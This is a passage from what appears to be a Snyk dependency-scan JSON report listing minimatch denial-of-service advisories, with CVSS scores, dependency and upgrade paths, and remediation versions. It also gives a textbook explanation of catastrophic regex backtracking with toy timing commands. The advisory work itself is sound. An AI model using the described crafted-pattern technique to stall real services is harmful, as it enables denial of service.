similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": 